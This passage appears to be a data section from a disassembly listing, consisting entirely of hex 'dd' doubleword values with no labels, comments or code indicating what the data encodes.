		dd 0CA3D840Ch, 0D8B61CC1h, 8BE9A580h, 38A9527h,	76585BFh
		dd 2C8924Dh, 4200677Eh,	530526CCh, 0EA5AA808h, 3CFA077Bh
		dd 0A066581Bh, 0B573EB84h, 1E9F2E00h, 0DE1A83A2h, 0A197000Ah
		dd 0A0987220h, 0EDF0F65Ch, 0F129AB00h, 0E3486C95h, 0DB30041h
		dd 0AF0181BBh, 1CFC67E4h, 85351B1Fh, 0B27EC803h, 1DC7F8B1h
		dd 4A0F017Ah, 0C650A4B3h, 0F2189BDEh, 7AE7E041h, 334C00D7h
		dd 0ACA17DFh, 0A41C9724h, 2E0CD364h, 71A49A0h, 7D201E96h
		dd 0BD76037Bh, 70A193Bh, 0D2BB576Ch, 92F202h, 0BE07A7BFh
		dd 9A701300h, 0B2204CAFh, 0DF61063Eh, 814B3FFEh, 0FC344700h
		dd 8CDD9ED4h, 366D0113h, 5C441A0Eh, 0E2F8D31Dh,	33000410h
		dd 0CC4C1EB6h, 0D37AC5h, 504742F5h, 0C959AD40h,	121CA4Ch
		dd 87DC6B0Dh, 3FE4E6C7h, 49310698h, 40E9A4DEh, 90FA3Eh
		dd 2DB24B08h, 0F94323h,	36FD9C1Fh, 0C80E4ACDh, 18D7C13Ch
		dd 0B210B672h, 6D0002Ch, 159E558Fh, 4B676A1Eh, 97809C18h
		dd 649D937Dh, 80381053h, 8B180D62h, 5AB12F60h, 37DB790Fh
		dd 0C110B067h, 0F035881Dh, 0FE7380C5h, 74F47600h, 0C37E127Ah
		dd 0D2310032h, 20CA2FE5h, 52016A11h, 0C734DD7Fh, 59820EA4h
		dd 0EE4AE649h, 0CF947083h, 33E97811h, 40EC731Fh, 21E342F6h
		dd 0CB3CEB4Dh, 25B08190h, 0CFBE431Eh, 9FBC9180h, 0B623D3ECh
		dd 5B617160h, 0EF6AB83h, 4BB22910h, 0B03003A0h,	1700D3E9h
		dd 5DDD33A8h, 0E44708h,	487B4E63h, 85219EEFh, 0ABB1F000h
		dd 0A57C52AEh, 0BBFD014Fh, 869DEC36h, 2FF6F03Eh, 0DD25671Eh
		dd 220C9140h, 0E53BDA3h, 6E3AE0FDh, 5700558Fh, 0AAB31EC5h
		dd 3A4403Ch, 3E19D3F7h,	40CC97DEh, 3618181Bh, 0ACB3182Dh
		dd 86307A14h, 1D8A1024h, 41B33963h, 41E390A2h, 0B0571100h
		dd 67A210E5h, 7AB71C7Bh, 5530BABFh, 0E4186021h,	0F5DD7C07h
		dd 99E00FB9h, 33EC3D1h,	0B6B0BFBDh, 881D4ECEh, 1479C56h
		dd 0D6C11BEFh, 18BA85DEh, 5CB2CA88h, 0D0F7E102h, 1F43CBh
		dd 34B73C10h, 91F4C4EAh, 0C1B91300h, 0EBECC2Eh,	84E50046h
		dd 554FFE35h, 0ED002B24h, 7EAF43A0h, 1817BA97h,	1868C7EAh
		dd 92072F40h, 1550B0A8h, 1836E4C2h, 438408DCh, 0D96C1002h
		dd 20625E88h, 106A11D0h, 40057A77h, 0B510ECB1h,	240612A0h
		dd 0A045FB8Eh, 0F7756E07h, 0AFA1E059h, 2083EC03h, 0AD1DAEACh
		dd 69E4EBF8h, 0AA7951CEh, 13001C26h, 8E351468h,	3C5F789Ah
		dd 853C50F0h, 3492200Eh, 0EE9BA043h, 2AFC501Eh,	81DEF3A8h
		dd 770C351Eh, 1E942198h, 5624926h, 0C1FB4169h, 0B96D6848h
		dd 0A4DA0C79h, 5465C88Ch, 45AC64h, 0E210917h, 0FCBBAD14h
		dd 0E32947EAh, 0A10E9858h, 1B670892h, 0F8E0B955h, 79C22A2Dh
		dd 806BE1AEh, 3260A318h, 9AC0000Ah, 4D0EEF12h, 7F00D99Eh
		dd 870C82AEh, 0A1A02CEh, 0B29DEB1Bh, 83C3D214h,	0B955C818h
		dd 0F508A79h, 36B2733Eh, 2C7FE640h, 40013AB1h, 0FC5201FFh
		dd 59D08028h, 6E1D0136h, 5655A12Ah, 6F4081E8h, 3EED4C06h
		dd 6704B88Fh, 995FA000h, 0F12891B4h, 0B00344Fh,	0DDF23FA2h
		dd 7170D8h, 0ACFAE974h
		dd 0E0A720C0h, 6744E403h, 933B8E0Dh, 2B5017E8h,	49BB0085h
		dd 0E7F4863Ch, 0A11D340Fh, 83048F78h, 0E0D4F5Bh, 93BFE261h
		dd 0E0B22AC0h, 0CB01C098h, 9A94D705h, 0F3E135ACh, 9754FFCh
		dd 0DB59F57Dh, 68DA2701h, 0E0B45323h, 466903A0h, 0C9F32800h
		dd 786D29CEh, 3AAFEE6h,	65F5444Fh, 69A0241Fh, 4179997Bh
		dd 28D7C714h, 672060ACh, 1879D8CBh, 59A292B0h, 0C700F124h
		dd 0DE54B548h, 0C678C65h, 57215EF3h, 4ADFA10h, 0CF4F1BD6h
		dd 0F2A01008h, 0C1002252h, 5D4720A2h, 7C27CDD8h, 4F660090h
		dd 48DAE471h, 79629FCCh, 24304C29h, 10752202h, 0B88994D2h
		dd 0BE44DC08h, 87DB44D9h, 84847744h, 0F0965622h, 7B7F88DEh
		dd 8036D088h, 5300EB8Eh, 0FC6B9552h, 0EABEF2CBh, 329D004Ah
		dd 0E517C2E9h, 25007F8Eh, 0B784E6ACh, 3CC73AFh,	540BAA1Fh
		dd 9880150Dh, 0DF006C11h, 0AD2D3D21h, 0A0954Ah,	72D1A28Fh
		dd 6C542E80h, 0D7E8F500h, 0F8B0A39Fh, 82950017h, 0B1E64344h
		dd 0D4ED47A8h, 8A399933h, 883E830Eh, 0E87BB55Dh, 3B70836h
		dd 676EFE84h, 1100A6EDh, 0A8F705D4h, 12406DA5h,	402474B9h
		dd 0BE93CC38h, 34012E68h, 1C9112A9h, 0AC20433Dh, 0B5C900CBh
		dd 2A90059Eh, 0E30039E0h, 17FE38CDh, 5828F6B0h,	0E20092BDh
		dd 452BF47h, 54070F53h,	7D4468E4h, 202276B0h, 0F82F0C99h
		dd 94F037BAh, 0E3198500h, 0D06F14BBh, 67050132h, 5E6228C9h
		dd 8EE6E00Bh, 0C73E9300h, 975A20FEh, 2E1C71EDh,	6AB5FDh
		dd 9282887Bh, 1D6096B9h, 8E625EC9h, 67280250h, 344A5615h
		dd 6BD7C4A0h, 3E00E3B0h, 1AAF5AEFh, 0E63642Eh, 0DC108D1Eh
		dd 827BFA20h, 6C07B80Eh, 0F5EC22Fh, 69A04697h, 36CD92h
		dd 0CF0C4A19h, 50564CEDh, 4284E79h, 0D73AC072h,	2FA00013h
		dd 28DAE1C1h, 233A0098h, 4D119F1h, 2D00AA3Fh, 15976B33h
		dd 4D5E69h, 6613ECF5h, 24DA9AF6h, 0BE180700h, 37253263h
		dd 0E1B739F8h, 82FC1D1Fh, 0AFF2E853h, 0F4A0A441h, 270041E2h
		dd 0E46A6C2Eh, 1D59DA67h, 0AE5BE35Fh, 0FCCF009Dh, 534A7B97h
		dd 89313700h, 0FAB9A9EDh, 35796Eh, 0BBA8DF77h, 2604B14Eh
		dd 0ECAEE500h, 0B3508DC2h, 0D2E3004Ch, 28D6F5E2h, 5A125FC5h
		dd 7C1EE09Bh, 54C9A947h, 0F7B8E160h, 33EF899h, 43E87802h
		dd 0A8D49EAh, 8C74D0h, 0A286DE33h, 7E004A13h, 0CBC16115h
		dd 1C0AC3ECh, 406509ACh, 9A99954Bh, 2500A14Ah, 4CFAD7EDh
		dd 1A9177Bh, 0C6662174h, 35E03AD8h, 8848FE24h, 96004A58h
		dd 8FAF84D0h, 0EACB2CBCh, 93B90077h, 0FF64262Bh, 290E447Ah
		dd 20C66588h, 0C5D78261h, 0CB720143h, 170297ACh, 7589E0FDh
		dd 654BD300h, 0CFC624D1h, 479218C3h, 0A70ED893h, 0EF01CAF8h
		dd 18464FBEh, 34F07B6Dh, 2A90099h, 0A6C9F875h, 78009047h
		dd 8AE041Ch, 54F631h, 14ECF1F7h, 0A862604Dh, 30C6ED00h
		dd 9D1990E9h, 0F2773Ch,	5D5313ABh, 0D7D018AFh, 7369D313h
		dd 0FA2F0700h, 0FA859D0Dh, 0FD2D014Fh, 8D22844h, 439C402Ch
		dd 0FE4CC68Fh, 73A70F14h, 9AF4C106h, 70C0FC11h,	2D770076h
		dd 7AF81C0Eh, 0CE8DD0Fh, 798B2100h, 2BCFA1E8h, 6E900061h
		dd 8D5D438Fh, 667ECCF2h, 85A43000h, 8042EB50h, 6B0E80FCh
		dd 15D0D31Eh, 72517CC3h, 1DC8A83Eh, 4C6900B2h, 0F90E3D97h
		dd 790021A5h, 0F3323706h, 2A9F42h, 958DD676h, 0E1914915h
		dd 0BDD15F04h, 8C018A6h, 7D0A20h, 60AE1EF8h, 0E62FE805h
		dd 9DE8C748h, 0FC00A7ACh, 4CAD42F2h, 0EF5426E7h, 0E0EE0040h
		dd 0F751989Ah, 3802B890h, 2B79808Eh, 0EA1C4018h, 0A7F61D86h
		dd 0B3E3C10Eh, 6466B267h, 38108348h, 340F1671h,	768063F2h
		dd 0F13C914Fh, 1C5BA00h, 9252B40Ch, 3598008Ah, 0D6552310h
		dd 2207645Eh, 0AA746207h, 7DB0E630h, 0B81B7F3Eh, 0B7101h
		dd 0EE03F250h, 62FC5B83h, 66D82900h, 4A2BDC58h,	0B9724830h
		dd 0F7E87600h, 0E99624D4h, 0A37B5700h, 7DFD29B6h, 0C67800EDh
		dd 0AD984DFh, 0CBE0E7F2h, 1419400h, 0BDB3A2B6h,	9B071D1Eh
		dd 7391C1C2h, 3081DB9Fh, 0AE024158h, 94B07178h,	3199C0FCh
		dd 0D93A008Dh, 0BBF254C3h, 7C035C50h, 761FD0FAh, 0C26FD0AAh
		dd 6B90981h, 0B900A5FCh, 0C7741560h, 0DE00ADE0h, 59228DA7h
		dd 23FEFBh, 94BA7BEEh, 7198096h, 0C6F1CF01h, 2DE6C9D3h
		dd 0E901DCh, 0A3812C95h, 904577Bh, 0AE0A3E00h, 27C6AA4Fh
		dd 99AB07CCh, 0B0483592h, 1AA44756h, 0EC16047Fh, 1400C131h
		dd 2BE2B0EBh, 556C00C4h, 185EF692h, 0A03FD07h, 82CA4F88h
		dd 4B8A8DDh, 9D6600BDh,	0F1B17CE7h, 0A6004DA5h,	0F7C50F72h
		dd 405C5158h, 820F12F3h, 61D4F55Fh, 0D23674C8h,	0BCEEF0h
		dd 3B66D503h, 49536AD9h, 91E24D00h, 0A87A1EDBh,	0F77600E3h
		dd 8CC1B130h, 88023506h, 595C45ABh, 8464401Bh, 509E4DC3h
		dd 7B699200h, 4750FC1Fh, 67520C12h, 97C03C00h, 0F4CCCC1h
		dd 0FB4A418Eh, 8579BAE0h, 0B6EC3BC3h, 0DCAF0800h, 73AA1B7Ch
		dd 0E9510057h, 59D9C90Dh, 0D7F25563h, 0DBC3FF00h, 46A491EDh
		dd 78E098B8h, 0B23000E2h, 49EFE443h, 2000CDA0h,	8D1DD848h
		dd 3B946B3h, 9E5B03F4h,	5AE08940h, 0E313F634h, 0D8076961h
		dd 0BCF07066h, 0C24159h, 0E75816ECh, 0AF1E6ADAh, 2B13EF00h
		dd 267F6881h, 0C198007Ah, 7180EADEh, 0D74C8C99h, 0C63031Fh
		dd 87EE12FDh, 0FCDF1F60h, 13DE2E5h, 0DE9AF5ACh,	0E03505A1h
		dd 6D14BA04h, 0D874FBh,	0B528C5E0h, 1DD27CAh, 0CE45DCB3h
		dd 3021D142h, 0DF1F2D35h, 5101EB68h, 4EDB1106h,	6013FDE4h
		dd 0EE4B110Ah, 2E00BD60h, 20E85CB1h, 5F165DAh, 92FC5703h
		dd 80C00EA8h, 0D6109E0h, 0A008C4Eh, 242107BAh, 0EC7B8644h
		dd 0F2C80C71h, 0B3DC3D9Fh, 22911613h, 41192C00h, 9714A3h
		dd 1BB93A17h, 86657C15h, 22C0AF50h, 0FDF32D10h,	0F9F4C900h
		dd 5733AD4h, 46053072h,	0DD0B29D1h, 7574B0C1h, 0BA2BF4h
		dd 8547E945h, 1DE562F9h, 0D9816100h, 25CDA372h,	0C8BABFh
		dd 0F75FB830h, 38D20806h, 0B29AF100h, 4FD68C9h,	46ED0065h
		dd 39AD1DA3h, 9E007334h, 0AE803EC3h, 0EA7EA896h, 32C0794h
		dd 0F6CF6BCCh, 0EC02A41Dh, 470871CEh, 0A22BC025h, 24731C29h
		dd 9B19800Dh, 53C88879h, 0D4AE6313h, 262AB000h,	790A4FC6h
		dd 55BE007Fh, 7857C51Dh, 651C229Bh, 0E6C0DE6Ch,	66F8682Ch
		dd 76C8928Bh, 3E80001Ch, 0B8225270h, 87009FF1h,	0C21D7496h
		dd 0E6CF1698h, 47A105F0h, 384EF2h, 3C4B799h, 0FA311EE8h
		dd 0A4538043h, 7DF4EEE6h, 35663DE9h, 927E5580h,	6A774AAh
		dd 0F0C7AF00h, 0CB2154ECh, 814A39E6h, 64CC7B00h, 0C6FFF5EAh
		dd 6D88AE00h, 0D7DD0241h, 812400E7h, 0DA9315Dh,	0EB003311h
		dd 78F36336h, 9D43B96h,	23BC64CFh, 225C2481h, 9A9CD052h
		dd 8E486A3Fh, 0FC1204F6h, 5E4E7C07h, 0FAC05BD0h, 0D1FCB8h
		dd 0E1BA40F0h, 8018582Fh, 894FAD0Bh, 4B6CA032h,	0E5201B8h
		dd 5DF8E219h, 5F7C4A81h, 0A1E0E71Dh, 0D30F279Ch, 60BCFAE8h
		dd 46A31E61h, 40670045h, 35B060D2h, 1700FE90h, 4E37E5BEh
		dd 0B0D0EC10h, 6AA10068h, 65DCFA6h, 37D576Eh, 4D827B00h
		dd 0C95067CDh, 890D60D8h, 8F044046h, 0FE5B6D2Eh, 38209802h
		dd 4894C6AFh, 0CA06DADDh, 0A85F7E45h, 89C58C01h, 17BB739Fh
		dd 0AA832FEDh, 0A5E5AAC0h, 3C9592A0h, 0CEAC9E01h, 616FDFD8h
		dd 0E7300C38h, 94D1AA51h
		dd 751CCF00h, 731599A8h, 49A500DAh, 0FB1E8DB7h,	667284D2h
		dd 0DF1936EAh, 1CB18B87h, 9367D8h, 48223F44h, 535C9E17h
		dd 8F817F04h, 80D292DBh, 0BC88EBB2h, 0FEBA880h,	39C8244Fh
		dd 95033BD4h, 3828F802h, 0E3B04BE3h, 96586C31h,	0A19D0041h
		dd 7CC88CBDh, 78DC60AEh, 0D7EF6E46h, 0BE417D3Eh, 1F3460B4h
		dd 0F4438B84h, 59201D2h, 2F14E080h, 0DBAA7010h,	3200D17Dh
		dd 0C217AE88h, 28A3B4h,	1B6F29E3h, 6D0D8139h, 4950E100h
		dd 22CCABB1h, 53410E96h, 9C4E5A5h, 80A4E020h, 605E9914h
		dd 0C7D90380h, 9018124Bh, 0AB66E0h, 0BA26A4BBh,	0FDC21C4Ch
		dd 0DBE2C60Ch, 52EAB80Ah, 0D700B83Dh, 0C58F28E5h, 0A0B8BC3h
		dd 0AF6E58h, 0ED83C894h, 6B3901DAh, 643FA285h, 0F7B850D6h
		dd 0CA30FF3Ah, 6332821h, 0B79B007Ah, 0DE364CD3h, 7126466Fh
		dd 16805C31h, 8E2BF45Ch, 3B2DFC87h, 0B1B88098h,	1CA6AAD0h
		dd 0C04AE105h, 1D310A39h, 30013C6Eh, 268663C6h,	0C0BEC769h
		dd 5B088000h, 270750F7h, 0A701B0FEh, 6C3765CEh,	0B7E48228h
		dd 8C1D18ECh, 1022A94Eh, 13E50F00h, 95AABEEFh, 0D75500D5h
		dd 5DB32C66h, 740C902Fh, 468E7A0Ah, 18200ED2h, 0E40029E9h
		dd 108A8BAAh, 3705A48h,	0A1959794h, 3F3AD0A5h, 8E6500E9h
		dd 0A30C3361h, 76006C8Bh, 17D06FF1h, 84D9EDh, 0E61A7C55h
		dd 148BFA05h, 0A141DCA8h, 0D6EBBF05h, 94606851h, 50DB3C5h
		dd 6F5C1FBCh, 0DB0CA0ABh, 5500F2F6h, 0C9A5035Ah, 1A8D1Eh
		dd 0B045843Dh, 68669DA4h, 8927303h, 0C0DD0D4Eh,	1448977h
		dd 78FBEBCAh, 2C10543Eh, 88651FD0h, 2EF3B900h, 48AEBC2Bh
		dd 0C8052015h, 306EAAA9h, 9FB91F48h, 48621700h,	0B7F2A304h
		dd 24360235h, 5EEF551Dh, 27C03040h, 0A3919802h,	0E3A46A26h
		dd 8D85C1DEh, 16CED5F4h, 20FFEBDDh, 590A6584h, 7BF33600h
		dd 0BD0304E8h, 0D23501EEh, 29895E55h, 31B84049h, 0C377109Ah
		dd 0C948DFB0h, 3EDD0FFEh, 0C2D82EFFh, 6A17BD3Dh, 0C538B848h
		dd 0CD921368h, 5D8935Ah, 82C849D3h, 4B00EFB3h, 4CA15E9Ch
		dd 554DE8h, 0D58E5C93h,	0AF96C7FEh, 99010DFAh, 0FC237274h
		dd 0EC70C1E6h, 67F00022h, 718EF18Bh, 0AC4DFFCEh, 0A0D80104h
		dd 8F4F1F68h, 0BCB9D8h,	0A8D1F116h, 6AE4F9C5h, 0F7B88A0Eh
		dd 3B172357h, 0D4C1B86Fh, 0DC732Ch, 0FE684CF9h,	543DBF9Dh
		dd 800CEC38h, 0F211F99h, 3AA1E167h, 4100F074h, 97DD22DFh
		dd 0AA0799EDh, 7508C8D3h, 378123D1h, 681824h, 3B61F03Ah
		dd 2888A10Eh, 0D57A8BF4h, 7E0C3001h, 19D2ACEDh,	1951AD8h
		dd 0CC7243BDh, 0EEB60799h, 0E821D089h, 34D8D01Dh, 481D589Ch
		dd 9D02F3B7h, 0E0B4F760h, 19DB1Ch, 0E9C3EA85h, 6BC454Ah
		dd 1DB5D900h, 3E21485Eh, 4F3F008Bh, 701A1273h, 0FA0072E9h
		dd 929EAF08h, 0FDDE2F6h, 7F6B529Ch, 0F8FEB1C2h,	698BDDC0h
		dd 0B6028302h, 402DC7EDh, 739A0A9Ch, 0F4D14C27h, 0EACE5C00h
		dd 0FED9023Fh, 538FA81Fh, 0DC3A3242h, 26704860h, 7B070742h
		dd 1089DF7Eh, 0CDDD3454h, 0AE73D000h, 4BA53979h, 16CC1395h
		dd 143C9886h, 7FB8EF01h, 0F62A8C7Eh, 97D874h, 0A003BB68h
		dd 74590BEAh, 24845Ch, 0A530C36Ah, 0C6BA6h, 42F03F58h
		dd 0F17D4BC8h, 717BBC92h, 0AA345D75h, 62E810FFh, 19F9007Ah
		dd 0A43A2897h, 0A00D3D2h, 91693CA9h, 73889EAh, 9A95F6B0h
		dd 0F32212DDh, 4DE680E0h, 0B28C4C00h, 2FB3B2Ah,	0CC493F1Dh
		dd 7F52F780h, 2439ECCEh, 0D30020BAh, 2D4413CAh,	0E49ECDB2h
		dd 68420637h, 10CE7356h, 1CF88F2Eh, 0E7873182h,	7ACCA2CAh
		dd 0BF116084h, 489771FBh, 0C10284AFh, 0DEDB6B2Ch, 87B3A6C1h
		dd 22CFEC22h, 678C8AF0h, 0FFEA01BDh, 785BAF19h,	6F7C3415h
		dd 2812E724h, 7611D580h, 1C95CD20h, 2AD9D2C3h, 0C4C8A994h
		dd 77D8FFCh, 0E44EB0B3h, 0E940CE10h, 24CC9A73h,	66C0A000h
		dd 83D308B5h, 82160197h, 296FE85h, 0AE98895Eh, 0C330803Fh
		dd 39DA6F8Dh, 0A2804C59h, 84505D95h, 9A129F3Ch,	52000B4Ah
		dd 9EC1A777h, 5FB30022h, 0E0EA4278h, 0D80066F6h, 5381876h
		dd 0C09D9031h, 67C725C1h, 0ED018AE4h, 0AC773A1Eh, 6AC47A80h
		dd 6EDE000Ch, 0EA509E68h, 4C05B44Ah, 0CFE9474Bh, 6048DE82h
		dd 939860h, 0F71E62BEh,	706DBA2Eh, 19E40700h, 5D4A6BBCh
		dd 0B9A93E81h, 0D3DB3F00h, 633576EDh, 317827h, 71411BE0h
		dd 736700B5h, 6AE76EFEh, 0BA3FEE20h, 77858084h,	404B523Dh
		dd 6DF414B9h, 4C12C4F9h, 0E058871Fh, 27156768h,	0CDED4013h
		dd 9472F000h, 0F202128Fh, 7B4977F0h, 7E4F16ADh,	63C0039h
		dd 4DD5EF26h, 73511A00h, 9E3B5D3Ah, 785760BCh, 86DCB120h
		dd 6EA5801h, 0AEEE26F8h, 44FF5030h, 11133D90h, 3E074F4Bh
		dd 7EA0AC5Ah, 0A143B3h,	0ED55AB63h, 85F3DF6Ch, 0E3DA6000h
		dd 91AEB15Dh, 82560052h, 0B615A230h, 0FE005A4Fh, 0B3429F7Fh
		dd 0C6FB8Fh, 822AF332h,	0C5F0CC6Bh, 34C88D00h, 0A8C42709h
		dd 24157BE0h, 0C3A35h, 0CF18A3B6h, 9B17FD2Dh, 880003C5h
		dd 0CB3F5614h, 4D653F51h, 0DD116D80h, 6C99CDE5h, 0F0C4758h
		dd 242ADFh, 9AB92244h, 0FFDE0931h, 0CC810B23h, 0DC0CC9EBh
		dd 0DC0006C4h, 2FFAF120h, 1D9C11C2h, 52794Ch, 2633188Ch
		dd 0BD00A395h, 0A8D6F915h, 347132h, 0D9F67DCFh,	0FC1D394Dh
		dd 48B4C405h, 68C082F7h, 16BBACh, 90122340h, 0EEABA06Eh
		dd 0E75BED07h, 6CB0DB5Fh, 58D083h, 337F5E77h, 0B519BD2Dh
		dd 6F3C0EE2h, 0CB7B8131h, 0C542B7B4h, 11098C3h,	0DAA616ECh
		dd 0F0FCC47Ch, 43B83264h, 1CBBC74Ch, 524463D3h,	0D4974F34h
		dd 93E300D9h, 0EEF5D706h, 24830084h, 57C2EC09h,	4101D087h
		dd 4E343A10h, 5FC8048Fh, 6B0B05FCh, 638A3Bh, 93D2498Dh
		dd 11C06EA3h, 0B2602BFFh, 0D3317DC1h, 0E6570018h, 0B78B390Fh
		dd 66C68400h, 0AADAD038h, 0B1B93A45h, 832D6CC9h, 0F171490h
		dd 480E08F4h, 0A03AA686h, 0ED812C46h, 41681DFEh, 0B730F949h
		dd 4EA467C8h, 709D4724h, 3D98C701h, 22D4AFE0h, 3B697337h
		dd 150734FBh, 300616D8h, 9362B5F7h, 0CA1D7400h,	0E22672ECh
		dd 0F0B21764h, 9C88000Dh, 0C8FD41BDh, 179B5700h, 3807308Eh
		dd 0BC7D9Dh, 0E7FC773Ch, 0A3D8E4AAh, 321C2909h,	9DE40049h
		dd 53CD1CEh, 1DB3FEE9h,	0D253C099h, 5FE23EE3h, 2E85AA03h
		dd 825D3BFDh, 0DBC86015h, 48DF7027h, 0FC034064h, 7DA8ECBCh
		dd 0BBF51100h, 19D7C46Fh, 0EC9AEEB4h, 5AC800E5h, 6DF6207Ch
		dd 0A00206ABh, 0EF080E13h, 85A3403Ah, 17EEF6BBh, 802391D9h
		dd 6E45CF04h, 2E21FC20h, 24EA6272h, 556800F3h, 0CCF73296h
		dd 75E6E100h, 0A319B40h, 6DA900FDh, 3E3BB285h, 43014E1Fh
		dd 11D19213h, 8220816Ch, 0A5363B28h, 2917216h, 790E24C8h
		dd 9B4E638h, 0D716D1CCh, 6197C087h, 3CB37374h, 5CD92EB4h
		dd 80F94C60h, 0A18007Bh, 74E28781h, 0A50032A1h,	0BDED1528h
		dd 0AB6E46h, 4AE7228Ch,	37CCA033h, 9600B6ECh, 2774F017h
		dd 2E2213Bh, 2EEBEA0Eh,	98C0E9F5h, 700338Ch, 0DCDEDD83h
		dd 14AB385h, 93D17D29h,	2AD49F8Eh, 4356F400h, 0C637DBh
		dd 140CE6CAh, 0F7DE4B19h, 907E8503h, 0E0824E0Dh, 0E10E0AC0h
		dd 0E6F45B71h, 4755008Ah, 0FFA773B7h, 0C500361Eh, 0EF46E733h
		dd 5E684B87h, 0C05C1DBCh, 0D212D80h, 0F1300CE0h, 0F9B886DCh
		dd 37450FE7h, 0EAC09108h
		dd 3903DA0Eh, 34432A0Fh, 525F8970h, 6F0B03BCh, 0F2918FAFh
		dd 824C5580h, 0DAA5F500h, 6D0C9EE5h, 0D48B0231h, 96BD05D1h
		dd 0BA006CF8h, 53D56217h, 0C1ABE6CCh, 0C5618390h, 26C360A7h
		dd 65DDC31Fh, 802660Ch,	69910757h, 5E82ABC6h, 696A28Eh
		dd 21011797h, 25488B17h, 0D8A51440h, 5727CF1h, 75C8E288h
		dd 1020D68Ah, 0A4A7E107h, 4B8066F2h, 3050278h, 0C64982C0h
		dd 26A310D2h, 902D491Fh, 1F298A03h, 0B690114h, 867C72DDh
		dd 503CCF7Ah, 8A320652h, 1392DFFh, 0E6011279h, 0E52A635Dh
		dd 237D0F5h, 0A2C06D07h, 0D8D1578Ch, 0ACD8B6EAh, 2FAA002Bh
		dd 9F29AE3Ch, 280041A6h, 6382147Ah, 0E0FD49h, 0C6275CC2h
		dd 0CDC4E4Ch, 32E74400h, 3BCDA2D8h, 0FE7E002Fh,	8420B87Ch
		dd 0F0A8BF95h, 0EF025FEAh, 53F40881h, 0C875E314h, 3920B91Ah
		dd 0F7318F2Ch, 60DF5118h, 7930AEACh, 58FAC06Eh,	24383089h
		dd 0C7A3A620h, 20D4EB08h, 0DDCD8157h, 80555173h, 0C27C7711h
		dd 0A060EFDFh, 0CC50D2A0h, 1215108h, 76C27A00h,	7E28BEFCh
		dd 88146003h, 0FB809E34h, 37AEEA80h, 0C768E78Fh, 18C406BEh
		dd 9821073Bh, 45D982B5h, 361516EBh, 2F00328h, 830EDE0h
		dd 164421B8h, 2D721C80h, 0F9348183h, 0C8D954D3h, 420767D2h
		dd 0B4147166h, 0A28F7B93h, 74D88138h, 0C0F856D0h, 3249006Ch
		dd 0F1721EE2h, 0FB1C0416h, 0ABDD0A3Dh, 80F54A4Bh, 0A94D1B54h
		dd 4807073Fh, 4C748217h, 160F9D10h, 0C0E841D4h,	8FE12B3Dh
		dd 0C0D3E83Eh, 0D41EA321h, 9C7CF2FFh, 2759B600h, 7CEE7795h
		dd 981C03E5h, 7193A84Eh, 972310Fh, 0DB837D16h, 0A6193EA7h
		dd 28BD1C18h, 2867BA42h, 3951926Fh, 75733340h, 0B3016374h
		dd 1877059Ah, 29803A49h, 1247E45Fh, 0AC5CB0A7h,	3D096FBBh
		dd 0EBFF2073h, 0B6149847h, 872E163Fh, 0BA0606B8h, 0DD1F919Bh
		dd 6718181Dh, 10B311h, 16E7C23h, 8C598833h, 348E0A07h
		dd 8F739102h, 0E8B10087h, 50B7D0Fh, 700E4BEDh, 8C365DCDh
		dd 38E21AFh, 0AB807D18h, 0B2F0F82Ah, 1700E0BFh,	0E2099E22h
		dd 6F4070Dh, 0A7A890E3h, 86308163h, 0FCCD414Eh,	0CC3FAEEh
		dd 80881F0Dh, 4000CF19h, 0C9F791DDh, 2E1489h, 2D46BF78h
		dd 83717C37h, 771A151Ah, 1D980450h, 0F470960h, 18A8A723h
		dd 0E0FC2198h, 0D2D475Ch, 70960767h, 0F409F0h, 0A50A62E2h
		dd 4DAC5F73h, 0E6267C00h, 6543CC60h, 30B5E854h,	9264C6E1h
		dd 4937BD82h, 22A0414Ah, 7593C7Dh, 0ECA40C90h, 0C7622175h
		dd 309331FBh, 4D608590h, 0A25FBFE1h, 5576E8BCh,	2CF0E4B7h
		dd 51596765h, 0C33280C6h, 0C13905B4h, 26B930FCh, 1CE11695h
		dd 800BBCC8h, 31BF1A28h, 0B2ECF7DBh, 0BDA8F20Ch, 61955199h
		dd 0BAA571D7h, 0D05D212Ah, 0F02C84FFh, 4A02A5ADh, 40A0A13Bh
		dd 0E105411h, 90A8D02Dh, 0B7295280h, 48C8AA4Dh,	0B9FD8h
		dd 97D63D85h, 7A01A3B0h, 0D44FAF67h, 0C870E26Bh, 0E56400A0h
		dd 859544CDh, 0BC04363Fh, 3A18EA7Ch, 209B8092h,	94714AFFh
		dd 82BB2100h, 0BA23B93Fh, 32DB888h, 0E54858F1h,	89F4C87Eh
		dd 0A27C3064h, 0E76BB700h, 0DCC42A0Ah, 0F5C31E65h, 0D81F0060h
		dd 0DD61242Dh, 0B4278324h, 0B510804Fh, 0A0A507h, 0D782AF0h
		dd 0B8E8DF16h, 4300C698h, 1A6A3C64h, 0A4EB83E0h, 0C4D518E8h
		dd 7538302Dh, 67D01106h, 3421AA09h, 4050A466h, 497C2268h
		dd 0E6EC9E30h, 0C90D5Ch, 0CA5F31CDh, 11158Bh, 748F91DAh
		dd 5B8166E2h, 2AC93B00h, 0ED1C4869h, 9C803CD1h,	6D156100h
		dd 51608E38h, 700CCA78h, 69133FB3h, 4E0F078Dh, 0A01A68F3h
		dd 0E686698Ah, 0E1CF7403h, 85D51F2Ah, 0F3E7043Eh, 100CEF09h
		dd 18B73CB0h, 40F7004Dh, 0E85F43C5h, 5A01DACDh,	0D4392762h
		dd 0C3DCB02Ch, 4A7A0C15h, 6429436Fh, 2EC640h, 72118E17h
		dd 5DC13406h, 80D69A3Bh, 0DA90C7C3h, 16ABC48h, 0B1661368h
		dd 0D4D0355Bh, 951EFEA1h, 0A6C0AE21h, 2F6BEFE9h, 7CCE1D8Eh
		dd 92B740AFh, 78642D6Ch, 0F7DC3A00h, 0EDC9D354h, 0E97C43h
		dd 0EB60ECB4h, 0E8B1E20h, 0C732C600h, 4766DCB0h, 0D7145C4Eh
		dd 0D3F3C300h, 0E993CAC4h, 0BB6FB238h, 30B780F5h, 0F1C9DF7Dh
		dd 0CB920105h, 0E69D6C0Eh, 134DCC80h, 0D1025773h, 0ABA7E3D4h
		dd 3E1CE09Bh, 174301F2h, 9972338Ch, 7B41E13Dh, 17E3BA0h
		dd 2EDD7A24h, 70CA9E8Dh, 0BA06CBD0h, 2AC223CEh,	0E7E326D0h
		dd 97180072h, 3214DF26h, 893D2703h, 90F4F898h, 170C1021h
		dd 0F3CAB5h, 6A5CFE2Bh,	0FA1E77BBh, 0F20054ECh,	9E6EB0A6h
		dd 0CEA50013h, 8F3EA482h, 1503E180h, 0B1E304D3h, 1B6AA810h
		dd 3827008Ah, 69C31154h, 89033795h, 0EA335817h,	60979FCDh
